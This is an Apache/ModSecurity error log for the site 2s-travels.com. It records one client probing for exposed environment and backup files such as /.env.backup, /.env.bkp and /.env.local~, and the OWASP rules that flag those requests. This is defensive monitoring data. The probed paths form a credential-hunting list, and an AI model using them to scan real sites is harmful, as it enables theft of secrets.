[Fri Jul 17 08:55:13.508033 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.508187 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmbEWOaI5pmYo9fnOzwAAAAA"]
[Fri Jul 17 08:55:13.508430 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.511827 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.backup"] [unique_id "almgmSvekYYQ8uns4MwlRQAAAA0"]
[Fri Jul 17 08:55:13.512085 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup"] [unique_id "almgmSvekYYQ8uns4MwlRQAAAA0"]
[Fri Jul 17 08:55:13.512365 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup"] [unique_id "almgmSvekYYQ8uns4MwlRQAAAA0"]
[Fri Jul 17 08:55:13.512480 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.512594 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmSvekYYQ8uns4MwlRQAAAA0"]
[Fri Jul 17 08:55:13.512841 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.local.backup"] [unique_id "almgmYl9vhFBGA6D8l954gAAAAw"]
[Fri Jul 17 08:55:13.513083 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.local.backup"] [unique_id "almgmYl9vhFBGA6D8l954gAAAAw"]
[Fri Jul 17 08:55:13.513362 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.local.backup"] [unique_id "almgmYl9vhFBGA6D8l954gAAAAw"]
[Fri Jul 17 08:55:13.513480 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.513604 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmYl9vhFBGA6D8l954gAAAAw"]
[Fri Jul 17 08:55:13.513761 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.local.orig"] [unique_id "almgmVCBpfuYyhJ140vShwAAAB4"]
[Fri Jul 17 08:55:13.514050 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.local.orig"] [unique_id "almgmVCBpfuYyhJ140vShwAAAB4"]
[Fri Jul 17 08:55:13.514144 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.514257 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmVCBpfuYyhJ140vShwAAAB4"]
[Fri Jul 17 08:55:13.516861 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.orig"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.orig"] [unique_id "almgmSRF0UOO1RzB5_8t9gAAAA4"]
[Fri Jul 17 08:55:13.517168 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.orig"] [unique_id "almgmSRF0UOO1RzB5_8t9gAAAA4"]
[Fri Jul 17 08:55:13.517279 2026] [hostinglimits:warn] [pid 2029579:tid 2029579] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029579) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.517424 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmSRF0UOO1RzB5_8t9gAAAA4"]
[Fri Jul 17 08:55:13.518375 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.531172 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.local.old"] [unique_id "almgmQ7FYe46zHK_jL3PtAAAABk"]
[Fri Jul 17 08:55:13.531480 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.local.old"] [unique_id "almgmQ7FYe46zHK_jL3PtAAAABk"]
[Fri Jul 17 08:55:13.531843 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.local.old"] [unique_id "almgmQ7FYe46zHK_jL3PtAAAABk"]
[Fri Jul 17 08:55:13.532002 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.532195 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmQ7FYe46zHK_jL3PtAAAABk"]
[Fri Jul 17 08:55:13.536358 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bkp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.bkp"] [unique_id "almgmVh1WDijTxd1xw5MRwAAAAc"]
[Fri Jul 17 08:55:13.536810 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.bkp"] [unique_id "almgmVh1WDijTxd1xw5MRwAAAAc"]
[Fri Jul 17 08:55:13.536988 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.537186 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmVh1WDijTxd1xw5MRwAAAAc"]
[Fri Jul 17 08:55:13.537194 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.local.tmp"] [unique_id "almgmYl9vhFBGA6D8l954wAAAAw"]
[Fri Jul 17 08:55:13.537489 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.local.tmp"] [unique_id "almgmYl9vhFBGA6D8l954wAAAAw"]
[Fri Jul 17 08:55:13.537608 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.537742 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmYl9vhFBGA6D8l954wAAAAw"]
[Fri Jul 17 08:55:13.538727 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\.[^.~]+~(?:/.*|)$" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1081"] [id "920500"] [msg "Attempt to access a backup or working file"] [data ".local~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.local~"] [unique_id "almgmUgVnBK6wAv37w6sNAAAABQ"]
[Fri Jul 17 08:55:13.539114 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.local~"] [unique_id "almgmUgVnBK6wAv37w6sNAAAABQ"]
[Fri Jul 17 08:55:13.539533 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.local~"] [unique_id "almgmUgVnBK6wAv37w6sNAAAABQ"]
[Fri Jul 17 08:55:13.539738 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:13.539954 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmUgVnBK6wAv37w6sNAAAABQ"]
[Fri Jul 17 08:55:13.541544 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.copy"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.copy"] [unique_id "almgmUkXT4NBqALj2lZ8mQAAABA"]
